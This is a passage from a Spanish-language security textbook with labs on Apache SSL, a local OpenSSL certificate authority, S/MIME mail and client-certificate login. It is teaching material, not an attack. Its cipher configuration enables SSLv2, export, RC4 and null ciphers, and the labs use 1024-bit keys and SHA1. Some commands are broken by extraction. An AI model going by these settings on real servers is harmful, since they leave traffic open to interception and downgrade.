SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
SSLCertificateFile /usr/local/apache2/conf/server.crt
SSLCertificateKeyFile /usr/local/apache2/conf/server.key
t/ca-bundle.crt
SSLCACertificateFile /usr/local/apache2/conf/ca.crt
<Files ~ "\.(cgi|shtml|phtml|php3?)$">
SSLOptions +StdEnvVars
</Files>
<Directory "/usr/local/apache2/cgi-bin">
SSLOptions +StdEnvVars
</Directory>
SetEnvIf User-Agent ".*MSIE.*" \
nokeepalive ssl-unclean-shutdown \
downgrade-1.0 force-response-1.0
CustomLog /usr/local/apache2/logs/ssl_request_log \
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"
</VirtualHost>
Para subir el servicio digite :
# /usr/local/apache2/bin/apachectl

start

12. Probando que SSL est activado por lnea de comandos


Digite el siguiente comando:

449

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

# openssl s_client -connect localhost:443 -state


Y obtendr en la salida algo como:
CONNECTED(00000003)
SSL_connect:before/connect initialization
SSL_connect:SSLv2/v3 write client hello A
SSL_connect:SSLv3 read server hello A
depth=0
/C=CO/ST=Cundinamarca/L=Bogota/O=MVA/OU=Sistemas/CN=oms.sco.com.co/Email=acarvaja@sco.com.
co
verify error:num=18:self signed certificate
verify return:1
depth=0
/C=CO/ST=Cundinamarca/L=Bogota/O=MVA/OU=Sistemas/CN=oms.sco.com.co/Email=acarvaja@sco.com.
co
verify return:1

Ahora digite:
# GET / http/1.0
Seguido digite dos veces la tecla Enter y obtendr la pagina web del servidor.

450

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

13. Laboratorio:
Objetivo:

Configurar un servidor web localmente para que tengan conexiones seguras mediante OpenSSL

Se requiere para este ejemplo que el servidor local haga las funciones de entidad certificadora o CA

Probar que localmente se puede ser entidad CA y servidor web con datos diferentes entre CA y
servidor web

Probar el canal en claro con un sniffer para demostrar que los datos viajan cifrados

Prerrequisitos:

Revisar que el DNS haga traslacin de nombres sobre el IP 127.0.0.1 o localhost

Es importante instalar apache versin 2.x o mayor con soporte a SSL

En el caso de que exista apache preinstalado se debe bajar el servicio con el comando apachectl
stop.

Paso 1: Instale apache con soporte de SSL:


Borre la carpeta antigua de apache por si ya se ha instalado:
# rm r /usr/local/apache2
# rm r /tmp/http*
# cd /tmp
Copie el archivo/fichero de apache http* que descarg del portal de apache en la carpeta /tmp
Descomprima el archivo/fichero que descargo:
Para descomprimir y extraer el apache con extensin x.tar.gz
# tar xzvf http*
Para descomprimir y extraer el apache con extensin x.tar.bz2
# tar xjvf http*
Entre a la subcarpeta en donde se extrajo el apache:
# cd http*
Prepare el plan de compilacin:
# ./configure
--enable-module=so
--with-include-apr
--enable-ssl
--with-ssl=/usr/local/ssl
--with-ldap
--enable-ldap
--enable-authnz-ldap
--enable-shared=max
--enable-module=rewrite
# make
La siguiente instruccin instalar los ejecutables en /usr/local/apache2 por defecto:
# make install
Modifique la variable ServerName del archivo de configuracin en /usr/local/apache2/conf/httpd.conf hacia
localhost o mejor hacia el nombre de su servidor, debera quedar as:
Servername localhost:80

451

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Suba el servicio de apache manualmente:


# /usr/local/apache2/bin/apachectl start
Abra un explorador web, pruebe digitando en el URL del navegador el nombre del servidor localhost,
entonces deber ver la pgina local de su servidor sin cifrar, es decir si usa un sniffer, ver en este momento
el texto en claro que el servidor le enva al cliente.

Configuracin de Open SSL:


Asegrese que el archivo openssl.cnf tenga la variable dir = /usr/local/ssl/demoCA
Notas:

En Fedora este archivo se localiza en /etc/pki/tls/openssl.cnf


En SUSE y Debian estar en /etc/ssl/openssl.cnf
En centOS esta en /usr/local/share/ssl/openssl.cnf

En Debian/backtrack se deben descargar las siguientes libreras:


# apt-get install build-essential
# apt-get install libapr1
# apt-get install libapreq2
# apt-get install libssl-dev
# apt-get install ldap-utils
# apt-get install libldap2-dev

Paso 2: Convirtase en entidad Certificadora si no ha comprado su certificado a un tercero como verisign,


tauhte, certicamara o la entidad que vende los certificados digitales de su pas.
Borre la carpeta donde se hace la gestin de los certificados, el comando sera:
# rm r /usr/local/ssl/demoCA
# cd /usr/local/ssl
# cp /etc/ssl/openssl.cnf

Ahora genere las llaves privada y pblica de la Entidad Certificadora (CA) para 10 anios en un solo paso:
# openssl req newkey rsa:2048 x509 keyout cakey.pem out cacert.pem days 3650 outform PEM
El sistema le pedir una clave simetrica para generar el certificado en mencin, por ejemplo use para este
caso sistemas.
La idea es que nadie ms pueda abrir la llave privada de la CA, solo la CA o el dueno de la llave privada
debera abrirlo con esa clave simetrica.
En el campo pas digite CO para Colombia, es decir las dos letras que identifican a su pas.
Estado o provincia: Cundinamarca es decir el departamento o estado donde reside su servidor.
Ciudad: Bogota
Organization Name: ACIS CA
Oraganizational Unit Name: Sistemas
Common Name Server: localhost

452

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

En este campo debe ir la direccion o URL de la entidad certificadora o CA que para este caso es el mismo
servidor local o localhost con direccin 127.0.0.1. Esto se puede verificar examinando el archivo/fichero
/etc/localhost.
Email address: administrador@acis.org.co
Paso seguido se debe generar un directorio para firmar requerimientos de llaves pblicas pues para este
caso el servidor localhost es una entidad Certificadora o CA:
# mkdir p /usr/local/ssl/demoCA/private
# mkdir p /usr/local/ssl/demoCA/newcerts
Copie la llave privada cakey.pem al directorio de llaves privadas:
# cp cakey.pem /usr/local/ssl/demoCA/private
Copie la llave pblica cacert.pem al directorio de llaves pblicas:
# cp cacert.pem /usr/local/ss/demoCA
Genere el archivo index.txt que contendr una lista de los certificados pblicos generados:
# touch

/usr/local/ssl/demoCA/index.txt

Genere el archivo de nombre serial que contendr el consecutivo de certificados pblicos generados, este
debe iniciar en uno:
# echo 01 > /usr/local/ssl/demoCA/serial
Hasta este momento usted estara listo para comportarse como una entidad certificadora, por favor verifique
que el archivo /usr/local/ssl/demoCA/serial contenga el consecutivo 01 o el que haya elegido para el
consecutivo de certificados en la base de datos.
# cat /usr/local/ssl/demoCA/serial
Hasta aca se esta preparado como una entidad certificadora.

Paso 3: Este paso indica los requerimientos de un servidor web hacia la CA, es nicamente para las
empresas que desean tener un certificado digital de tipo servidor.
Empresa que desea un certificado: MVA
Empresa caerttificadora: ACIS-CA
Entonces genere la llave privada de un tamanio de 2048 bits y genere el requerimiento a la entidad
certificadora o CA por 360 das para el servidor web:
Es recomendable estar posicionado en el directorio /usr/local/ssl
# cd /usr/local/ssl
# openssl req newkey rsa:2048 keyout mva.key out mva.csr days 360 nodes outform PEM
Ahore envie el requerimiento a la CA para que lo firme con la llave privada de la CA y le genere su certificado
digital.
Notas:

Revise que el archivo mva.csr exista en el disco, este ser el requerimiento.


mva.csr es la llave de solicitud de requerimiento de llave pblica X.509.

453

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

La opcin nodes indica no pedir una clave simtrica al generar la llave privada, sin esta clave
simetrica el servidor web podr subir sin necesidad de suministar el password o palabra clave
En la vida real el administrador del servidor web si deberia usar esta palabra clave, solo que
siempre deber estar presente para suministrarla cuando el servidor web esta subiendo

Paso 4: Firme el requerimiento como una entidad CA (quien genera el certificado digital)
# openssl ca policy policy_anything out mva.crt infiles mva.csr
Observar que mva.crt es la llave pblica del cliente que compra el certificado y mva.csr es la solicitud del
cliente MVA para que la CA le expida una llave pblica avalada por el notario CA (la certificadora)
En este paso, en Linux Fedora, habr un mensaje de error al no haber editado la variable dir del archivo
/etc/pki/tls/openssl.cnf

Paso 5: Instale los certificados en el directorio por defecto para que apache los lea al iniciar en modo seguro
# cp
# cp
# cp

mva.crt
mva.key
cacert.pem

/usr/local/apache2/conf/server.crt
/usr/local/apache2/conf/server.key
/usr/local/apache2/conf/cacert.pem

Para la ultima versin de apache2 edite el archivo /usr/local/apache2/conf/httpd.conf y quite el signo


comentarios # de la lnea que activa la configuracin ssl:
# Include conf/extra/httpd-ssl.conf
Debera quedar de la siguiente forma:
Include conf/extra/httpd-ssl.conf
Esto incluye las ordenes para que se activen los certificados de los dominios virtuales seguros.

Paso 6: Reinicie el servidor apache con soporte a SSL


Edite el archivo de configuracin del ssl /usr/local/apache2/conf/extra/httpd-ssl.conf y modifique la variable
ServerName para que sea igual a localhost, es decir al nombre del servidor virtual.
# /usr/local/apache2/bin/apachectl stop
# /usr/local/apache2/bin/apachectl start

Paso 7: Pruebe la funcionalidad configurada digitando en el URL https://localhost


En este paso el candado debe estar activado en el explorador web, por favor revise los datos del certificado.
Vera un mensaje del explorador advirtindole que el certificado no es de confianza, esto se debe a que en el
cache del explorador no existe la CA de este caso.
Paso 8: Prueba el dominio por defecto con localhost
Si encuentra errores o comportamientos errticos revise los logs de errores en: /usr/loca/apache2/logs
Si cuenta con suficiente tiempo configure los 3 dominios virtuales del laboratorio anterior: uniandes.edu.co,
unincca.edu.co, y fuac.edu.co
Para esto se requiere adicionar al final del archivo/fichero /usr/local/apache2/conf/httpd.conf, las siguientes
lneas equivalentes a dominios virtuales:

454

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

NameVirtualHost 192.168.100.14:443
<VirtualHost 192.168.100.14:443>
DocumentRoot /usr/local/apache2/htdocs/uniandes
ServerName www.uniandes.edu.co:443
ServerName www.lacositarica.com.co:443
<Directory /usr/local/apache2/htdocs/uniandes/manuales>
AuthName "Manuales de linux uniandes"
AuthType Basic
AuthzLDAPAuthoritative off
AuthBasicProvider ldap
AuthLDAPUrl "ldap://localhost:389/o=acis?uid?sub?(objectClass=*)"
Require valid-user
</Directory>
# Estas lineas son obligatorias para activar el SSL para el dominio virtual
SSLEngine on
SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
SSLCertificateFile "/usr/local/apache2/conf/server.crt"
SSLCertificateKeyFile "/usr/local/apache2/conf/server.key"
SSLCACertificatePath "/usr/local/apache2/conf"
SSLCACertificateFile "/usr/local/apache2/conf/cacert.pem"
<FilesMatch "\.(cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory "/usr/local/apache2/cgi-bin">
SSLOptions +StdEnvVars
</Directory>
BrowserMatch ".*MSIE.*" \
nokeepalive ssl-unclean-shutdown \
downgrade-1.0 force-response-1.0
CustomLog "/usr/local/apache2/logs/ssl_request_log" \
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"
# FIN - Estas lineas son obligatorias para activar el SSL para el dominio virtual
</VirtualHost>
<VirtualHost 192.168.100.14:443>
DocumentRoot /usr/local/apache2/htdocs/unincca
ServerName www.unincca.edu.co:443
<Directory /usr/local/apache2/htdocs/unincca/manuales>
AuthName "Manuales de linux *** unincca ***"
AuthType Basic
AuthUserFile /usr/local/apache2/conf/.htpasswd
Require user unincca
</Directory>
# Estas lineas son obligatorias para activar el SSL para el dominio virtual
SSLEngine on
SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
SSLCertificateFile "/usr/local/apache2/conf/server.crt"
SSLCertificateKeyFile "/usr/local/apache2/conf/server.key"
SSLCACertificatePath "/usr/local/apache2/conf"
SSLCACertificateFile "/usr/local/apache2/conf/cacert.pem"
<FilesMatch "\.(cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars

455

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

</FilesMatch>
<Directory "/usr/local/apache2/cgi-bin">
SSLOptions +StdEnvVars
</Directory>
BrowserMatch ".*MSIE.*" \
nokeepalive ssl-unclean-shutdown \
downgrade-1.0 force-response-1.0
CustomLog "/usr/local/apache2/logs/ssl_request_log" \
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"
# FIN - Estas lineas son obligatorias para activar el SSL para el dominio virtual
</VirtualHost>
<VirtualHost 192.168.100.14:443>
DocumentRoot /usr/local/apache2/htdocs/fuac
ServerName fuac.edu.co:443
ServerName www.fuac.edu.co:443
<Directory /usr/local/apache2/htdocs/fuac/manuales>
AuthName "Manuales de linux *** fuac ***"
AuthType Basic
AuthUserFile /usr/local/apache2/conf/.htpasswd
Require user fuac
</Directory>
# Estas lineas son obligatorias para activar el SSL para el dominio virtual
SSLEngine on
SSLCipherSuite ALL:!ADH:!EXPORT56:RC4+RSA:+HIGH:+MEDIUM:+LOW:+SSLv2:+EXP:+eNULL
SSLCertificateFile "/usr/local/apache2/conf/server.crt"
SSLCertificateKeyFile "/usr/local/apache2/conf/server.key"
SSLCACertificatePath "/usr/local/apache2/conf"
SSLCACertificateFile "/usr/local/apache2/conf/cacert.pem"
<FilesMatch "\.(cgi|shtml|phtml|php)$">
SSLOptions +StdEnvVars
</FilesMatch>
<Directory "/usr/local/apache2/cgi-bin">
SSLOptions +StdEnvVars
</Directory>
BrowserMatch ".*MSIE.*" \
nokeepalive ssl-unclean-shutdown \
downgrade-1.0 force-response-1.0
CustomLog "/usr/local/apache2/logs/ssl_request_log" \
"%t %h %{SSL_PROTOCOL}x %{SSL_CIPHER}x \"%r\" %b"
# FIN - Estas lineas son obligatorias para activar el SSL para el dominio virtual
</VirtualHost>

Cuestionamientos

Que pasara si olvidamos hacer el paso 5?

Que pasara si en el paso 5 dejamos la llave privada como mva.key y no server.key?

Que pasara si en el URL del cliente digitamos 127.0.0.1 en vez de localhost cuando usamos
dominios virtuales?

Que significan las letras PEM en el parmetro outform?

456

14. Laboratorio: S/MIME con OpenSSL


Prerrequisitos:
S/MIME es la implementacin de certificados digitales SSL para correos electrnicos.
Se debe tener creada una CA localmente, en el laboratorio anterior se creo una CA donde la clave privada de
la CA se llamaba cakey.pem, con passphrase sistemas y la clave pblica o certificado digital de la CA se
llamaba cacert.pem.
El nuevo certificado digital para manejar correos seguros debe tener las siguientes caractersticas:

Atributo eMail del CN del titular: acarvaja@mvaonline.com, es decir su cuenta de correo


electrnico
Organizacin: la empresa donde usted labora, no necesariamente es el mismo texto de la CA del
ejemplo anterior
Caducidad: 60 das
Algoritmo de hash: SHA1
Extensiones:
basicConstraints=critical, CA:FALSE
extendedKeyUsage: emailProtection

Objetivo:

Utilizar S/MIME con OpenSSL para enviar documentos en forma segura. Para ello se debe generar
un par de claves RSA de 1024 bits que ser el par de claves del cliente de correo S/MIME (pblica y
privada)
La clave privada se debe guardar en el archivo correo-key.pem protegido con la passphrase
correo
La clave pblica o certificado digital se debe guardar en el archivo correo-cert.pem

Paso 1: Para generar la clave privada se digita:


# cd /usr/local/ssl
# openssl genrsa

-out correo-key.pem -des3 1024

El sistema pide un password para la clave privada del usuario que desea manejar correos electrnicos
seguros, y se le digita correo

Paso 2: Para generar un requerimiento de clave pblica del usuario que desea manejar correos seguros se
digita:
# openssl req -new -key correo-key.pem -out correo-csr.pem -config openssl.cnf -sha1 -outform PEM
Nota: Observe que el nombre de archivo/fichero openssl debe estar precedido de la ruta donde se
encuentra el archivo openssl.cnf pues varia en cada sistema operativo.
El sistema pide los datos del certificado que identifica a la persona como: Pais, Estado/departamento,
Organizacion, Nombre de la persona (en el campo nombre del servidor) y la direccion de correo que para
este requerimiento es critico.
Para verificar el requerimiento se digita:
#openssl req -in correo-csr.pem -verify -text -noout

457

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Y debe aparecer el siguiente textos si todo va bien:


verify OK
Paso 3: Se debe editar el archivo/fichero openssl.cnf antes de que la CA pueda firmar requerimientos para
generar llaves pblicas, dirjase a la seccin existente CA_defualt y actualice las variables default_days y
default_md segn lo requerido en el enunciado del problema:
[ CA_default ]
default_days = 60
default_md
= sha1
Adicione al final del archivo/fichero openssl.cnf la seccin requerida para generar certificados de correo
electrnico:
[ proteccion_de_correo ]
basicConstraints
= critical,CA:FALSE
nsCertType
= client, email
keyUsage
= nonRepudiation, digitalSignature, keyEncipherment
extendedKeyUsage
= emailProtection
Explicacion de los parmetros:

El parametro nsCertType=client, email indica que el certificado sera usado por un cliente de correo
y no por un servidor web

El parametro keyUsage = nonRepudiation,digitalSignature,keyEncipherment indica que el certificado


ser utilizado para firmar y cifrar documentos.

El parametro extendedKeyUsage=emailProtection nos indica que el certificado servir para el


manejo de correo seguro.

Nota: Existe la extensin usr_cert que muestra unos requerimientos muy parecidos pero estan desactivados
y no contienen la extensin adicional extendedKeyusage.

Paso 4: Generacin de la llave pblica


Para generar el certificado de clave pblica se digita:
# openssl ca -verbose -policy policy_anything -out correo-cert.pem
correo-csr.pem -extensions proteccion_de_correo -passin pass:sistemas

-days 60 -config openssl.cnf

-in

Notas importantes:

Observe que el nombre de archivo/fichero openssl debe estar precedido de la ruta donde se
encuentra el archivo openssl.cnf pues varia en cada sistema operativo.

El parmetro -passin pass:sistemas es obligatorio cuando el tamao de la clave es muy pequeo e


identifica la clave simetrica usada en la generacin de la llave privada de la CA. No es la clave
simetrica de la llave privada del usuario
Si en el atributo policy se utilizara policy_match los nombres de las organizaciones y otros
campos deben ser iguales, cosa que no es deseable en esta clase de certificados donde la CA no
necesariamente es la misma entidad que hace los requrimientos

Paso 5: Verificacin del certificado:


# openssl verify -verbose -CAfile cacert.pem correo-cert.pem
Debe prestarse mucha observacin a que se deben adicionar los certificados digitales de la CA y del usuario
para que se pueda verificar la jerarqua de la generacin de las llaves.
Y el sistema openssl deber responder con el siguiente texto si todo va bien:

458

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

verify OK

Paso 6: Escriba un texto en claro, que contenga la cadena Esta es una prueba de Open SSL en correo
seguro y su nombre, gurdelo en el archivo mensaje.txt.

Paso 7: Proceso de Firmado


A partir de este texto, genere un mensaje S/MIME firmado y cifrado y gurdelo en el archivo mensaje.sig.
El destinatario o los destinatarios sern las llave pblicas generadas en pasos anteriores y si cuenta con
otras llaves pblicas de otros destinatarios podr utilizarlas para enviarles este mismo correo seguro.
# openssl smime -sign -signer /usr/local/ssl/correo-cert.pem -inkey /usr/local/ssl/correo-key.pem -out
mensaje.sig -in mensaje.txt correo-cert.pem
El archivo/fichero se vera como sigue en el siguiente comando:
# less mensaje.sig
MIME-Version: 1.0
Content-Type: multipart/signed; protocol="application/x-pkcs7-signature"; micalg=sha1; boundary="---D4AB7B0DBDA1DDE739F0ED8C370EEE62"
This is an S/MIME signed message
------D4AB7B0DBDA1DDE739F0ED8C370EEE62
Esta es una prueba de Open SSL en correo seguro
Armando Enrique Carvajal Rodriguez
Gerente de consultoria globalteksecurity
------D4AB7B0DBDA1DDE739F0ED8C370EEE62
Content-Type: application/x-pkcs7-signature; name="smime.p7s"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="smime.p7s"
MIIGkAYJKoZIhvcNAQcCoIIGgTCCBn0CAQExCzAJBgUrDgMCGgUAMAsGCSqGSIb3
...
...
------D4AB7B0DBDA1DDE739F0ED8C370EEE62-Este texto al final del correo representa la firma digital.
Nota: Obviamente se ve el texto en claro pero con la firma no legible, es decir con el hash que es lo mismo
que firma.

Paso 8: Proceso de Cifrado


# openssl smime -encrypt -des3 -out mensaje.msg -in mensaje.sig -from 'acarvaja@mvaonline.com' -to
'armando_carvajal@yahoo.com' -subject 'Prueba de correo seguro' correo-cert.pem .
Nota: Se adiciona el certificado correo-cert.pem del remitente para que el remitente lo pueda descifrar con
su llave privada.
Se mira el archivo/fichero: mensaje.msg
# less mensaje.msg
To: armando_carvajal@yahoo.com
From: acarvaja@mvaonline.com
Subject: Prueba de correo seguro
MIME-Version: 1.0
Content-Disposition: attachment; filename="smime.p7m"

459

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Content-Type: application/x-pkcs7-mime; name="smime.p7m"


Content-Transfer-Encoding: base64
MIINwQYJKoZIhvcNAQcDoIINsjCCDa4CAQAxggIuMIIBEwIBADB8MHcxEzARBgoJ
...
al0csSXhCLcCzqmz0nG9v43wqCRnI6x4Pd2xaQJIjTNT+1wJ3pofHJ8VF089TW/I
Nota: Obviamente no es un correo legible

Paso 9. Suponiendo que el originador borra el texto original (en claro) del mensaje y slo conserva el
mensaje S/MIME, cmo se utilizara la herramienta OpenSSL para ver su contenido en claro?
# openssl smime -decrypt -in mensaje.msg -inkey /usr/local/ssl/correo-key.pem -recip /usr/local/ssl/correocert.pem
Que produce la siguiente salida:
Enter pass phrase for /usr/local/ssl/correo-key.pem:
Debera digitar la clave clave simetrica correo que se definio cuando creo la clave privada del usuario

Esta es una prueba de Open SSL en correo seguro

Armando Enrique Carvajal Rodriguez

Paso 10: Cmo puede usarse la herramienta OpenSSL para verificar la firma del mensaje anterior?
Proceso de descifrado
# openssl smime -decrypt -in mensaje.msg -out mensaje.firmado -inkey /usr/local/ssl/correo-key.pem recip /usr/local/ssl/correo-cert.pem
Y obtengo el archivo mensaje.firmado al cual se le debe aplicar el proceso de verificacin de firma
Proceso de verificacin de firma
# openssl smime -verify -signer /usr/local/ssl/correo-cert.pem -in mensaje.firmado -CAfile cacert.pem

Esta es una prueba de Open SSL en correo seguro


Armando Enrique Carvajal Rodriguez
Gerente de consultoria globalteksecurity
Verification successful

460

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Cuestionamientos
Cmo posibilita la tcnica del sobre digital PKCS#7 que el contenido de un mismo mensaje S/MIME
cifrado, como el que se ha generado en este laboratorio pueda ser descifrado tanto por el originador
como por los destinatarios?
Respuesta:
El proceso que el receptor debe seguir para descifrar un sobre digital PKCS#7 es:
a) Descifrar la clave de sesion que va dirigida al sobre digital y abrirlo
b) Descifrar el contenido del mensaje con la clave de sesin obtenida en el paso anterior
Entonces el hecho de que el sobre permita cifrar un mensaje para varios destinatarios e inclusive el
originador obliga a que se utilicen los certificados de cada uno de los destinatarios, por lo tanto cada
destinatario con su clave privada podr ver la informacin cifrada que se le envi con su llave pblica
respectiva.
Esta informacin de los certificados va en el campo recipientinfo de la estructura de datos del PKCS#7

461

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

15. Laboratorio: Certificados digitales del lado del cliente con OpenSSL mxima seguridad
Prerrequisitos:

Se debe tener creada una CA localmente


El cliente debe tener un par de claves RSA de 1024 bits con la clave privada protegida mediante la
passphrase cliente

Asegurese que el puerto 443 no este siendo utilizado por el laboratorio de tneles

El certificado debe contar con las siguientes caractersticas:

Validez: 60 das
Algoritmo de hash: SHA1
Extensiones: basicConstraints = critical, CA:FALSE
extendedKeyUsage: Autenticacin de cliente web SSL/TLS

Objetivo:

Autenticar a un usuario basado en su certificado digital contra un servidor web


El servidor web debe emitir una conexin segura entre cliente y servidor basado en SSL
Finalmente el servidor web le mostrara al usuario la pagina web

Nota:
El servidor web debe tener un dominio virtual con soporte SSL para asegurar que el servidor es quien dice
ser, y del lado del cliente tambin se desea certificar que el cliente es quien dice ser, esto es muy til en
aplicaciones de Intranet y comercio electrnico seguro en ambas direcciones.

Paso 1: Para generar la clave privada del cliente se digita:


# openssl genrsa

-out cliente-key.pem -des3 1024 outform PEM

El sistema pide un password para la clave privada y se le digita cliente


# openssl req -new -key cliente-key.pem -out cliente-csr.pem -config openssl.cnf -sha1 -outform PEM
Nota: Observe que el nombre de archivo/fichero openssl debe estar precedido de la ruta donde se
encuentra el archivo openssl.cnf pues varia en cada sistema operativo.
El sistema pide los datos del certificado para esta persona especifica como son: pas, estado, nombre, en el
CN escriba CarvajalRodriguezArmandoEnrique para identificar al usuario final, es decir aca va el nombre del
usuario que desea el certificado digital y no el nombre del servidor web.
Para verificar el requerimiento se digita:
#openssl req -in cliente-csr.pem -verify -text -noout
Se debe obtener la salida: verify OK
Ahora se genera la llave pblica:
Se edita el archivo openssl.cnf y se le adiciona la extensin proteccion_de_cliente:
Nota: Observe que el nombre de archivo/fichero openssl debe estar precedido de la ruta donde se
encuentra el archivo openssl.cnf pues varia en cada sistema operativo.
[ proteccion_de_cliente ]

462

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

basicConstraints
nsCertType
keyUsage
extendedKeyUsage

=
=
=
=

critical,CA:FALSE
client
nonRepudiation, digitalSignature, keyEncipherment
clientAuth

Notas:
El parmetro nsCertType=client indica que el certificado ser usado por un cliente para autenticarse en un
servidor web
El parametro keyUsage = nonRepudiation,digitalSignature,keyEncipherment, indica que el certificado ser
utilizado para firmar y cifrar documentos.
El parametro extendedKeyUsage=clientAuth nos indica que el certificado se utilizara por un cliente para
suministrarlo a un servidor web seguro y autenticarse.
Para genererar el certificado de clave pblica se digita:
# openssl ca -verbose -policy policy_anything -out cliente-crt.pem -days 60 -config openssl.cnf -in clientecsr.pem -extensions proteccion_de_cliente -passin pass:sistemas
El parametro -passin pass:sistemas es obligatorio cuando el tamao de la clave sea muy pequeo.
Verificacin del certificado:
# openssl verify -verbose -CAfile cacert.pem cliente-crt.pem
Y el sistema openssl responde:
verify OK

Paso 2: Con la herramienta OpenSSL se debe generar un archivo de tipo PKCS#12 protegido con la
contrasea pkcs12 que contenga la clave privada y el certificado digital del del cliente.
# openssl pkcs12
-chain
-CAfile cacert.pem
-out
cliente-pkcs12.p12
-in
cliente-crt.pem
-inkey cliente-key.pem
-name "CarvajalRodriguezArmandoEnrique"
-export
-certfile cliente-crt.pem
-info

\
\
\
\
\
\
\
\
\

Se debe observar que esta instruccion esta compuesta por varias lineas, esa es la justificacion del caracter
especial \.
El sistema pregunta el nuevo password de tipo export y se le suministra pkcs12 diferente a la clave privada
del usuario que se desea autenticar cuya palabra secreta es: cliente.
Paso 3: Indique qu cambios se deben realizar a la configuracin del servidor web para aadirle un servidor
HTTPS virtual y que solamente permita el acceso a clientes que tengan un certificado emitido por nuestra
CA.
Se debe editar el archivo/fichero /usr/local/apache2/conf/extra/httpd-ssl.conf para incluir las siguientes
lneas de color amarillo que obligan al servidor web a solicitarle al cliente el suministro del certificado digital:

463

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

<VirtualHost . :443>
Namesever localhost

SSLVerifyClient require
SSLVerifyDepth 10

SSLCertificateFile "/usr/local/apache2/conf/server.crt"
SSLCertificateKeyFile "/usr/local/apache2/conf/server.key"
SSLCACertificatePath "/usr/local/apache2/conf"
SSLCACertificateFile "/usr/local/apache2/conf/cacert.pem"
</VirtualHost>
Luego se reincia con los comandos:
/usr/local/apache2/bin/apachectl stop
/usr/local/apache2/bin/apachectl start
Resumen:
Se debe crear una nueva seccin Virtualhost con los nuevos certificados y se deben activar las variables:
SSLVerifyClient require
SSLVerifyDepth 10
Para ello se debe quitar el signo comentario que se antepone a cada instruccin anterior.
Para que el explorador del cliente no falle en la generacion de confianza respecto del certificado digital de la
CA, es critico que el servidor web sepa cual es el certificado digital de la CA adems del certificado digital del
servidor web mas la llave privada del servidor web.
SSLCACertificatePath "/usr/local/apache2/conf"
SSLCACertificateFile "/usr/local/apache2/conf/cacert.pem"
Paso 4: Pruebe si el servidor pide un certificado digital a los clientes que lo acceden
Los exploradores por defecto suministran en forma automtica los certificados al servidor, pero en este caso
aun no existe el certificado del usuario importado en el explorador.
En Internet Explorer:

464

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Esta ventana nos indica que no existe el certificado y que debemos importarlo.

Mozila Firefox:

Como en el caso del Internet explorer, esta ventana nos indica que no existe el certificado y que debemos
importarlo. Para ver mejor lo que est pasando, conviene que en las opciones del navegador (Edit,
Preferences, Advanced, Certificates, se especifique que pida el certificado cada vez, en lugar de
escogerlo automticamente.

Paso 5: Indique los pasos a seguir para que el navegador utilice el certificado de cliente contenido en el
archivo PKCS#12 del lado del cliente para acceder al servidor HTTPS virtual.
En Internet Explorer:
Se debe configurar en el apartado del explorador Herramientas, Opciones de Internet, Contenido,
certificados, Importar, active el filtro: Archivos PKCS12, elija el archivo/fichero cliente-pkcs12.p12.

465

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Un asistente lo llevara de la mano para finalizar este paso.

Se debe verificar el objetivo del certificado.

466

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

El certificado ser mostrado como de una entidad de NO confianza, por lo tanto se debe importar el
certificado digital de la CA como una entidad de confianza.

Mozila Firefox:
Se debe configurar en el apartado del explorador Mozilla Firefox, Editar, preferencias, Avanzadas,
Administrar certificados, Sus certificados, Importar, Archivos PKCS12, el archivo cliente-pkcs12.p12.

Se le pedir que le asigne una clave secreta al dispositivo: pkcs12


Se le pedir que le suministre la clave secreta cuando hizo el export o backup: pkcs12

Esta ventana indica que el certificado digital como la clave privada se instalaron en el cache del explorador.

467

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

Verifique que este importado.

Aparece importado pero hay problemas con el propsito del certificado digital.
Luego en la opcin Autoridades se busca el certificado de la CA, se debe editar y marcar la opcin
Identificar sitios web e Identificar usuarios de correo.

Se marcan los objetivos del certificado, como aparece en la ventana anterior.

Debe observarse que ahora el browser ya sabe para que se va a usar el certificado.
Al navegar por el sitio seguro:

468

Parte III, Captulo 18 PKI y Firma Digital: Aplicaciones Reales

La ventana muestra al usuario el certificado que se enviara al servidor.


Paso 6: Explique brevemente qu ventajas e inconvenientes puede tener la autenticacin de cliente basada
en certificados digitales respecto a la basada en contrasea.
Ventajas:

El servidor puede verificar la identidad del cliente no solo basado en una cuenta de usuario y clave
de secreta

La comunicacin es segura punto a punto pues ambas partes estan cifradas y autenticadas
Desventajas:

No es tan fcil que el cliente genere su par de llaves y que adems las convierta al formato PKCS12

No es tan fcil que el cliente importe sus llaves en el explorador/browser

La llave privada estar en un PC fuera del control del usuario, es decir un intruso podra hacer
criptoanlisis sobre esas llaves

El tiempo de proceso en la transmisin de datos tiende a ser mas baja por que ambos extremos
cifran los datos

Cuestionamientos

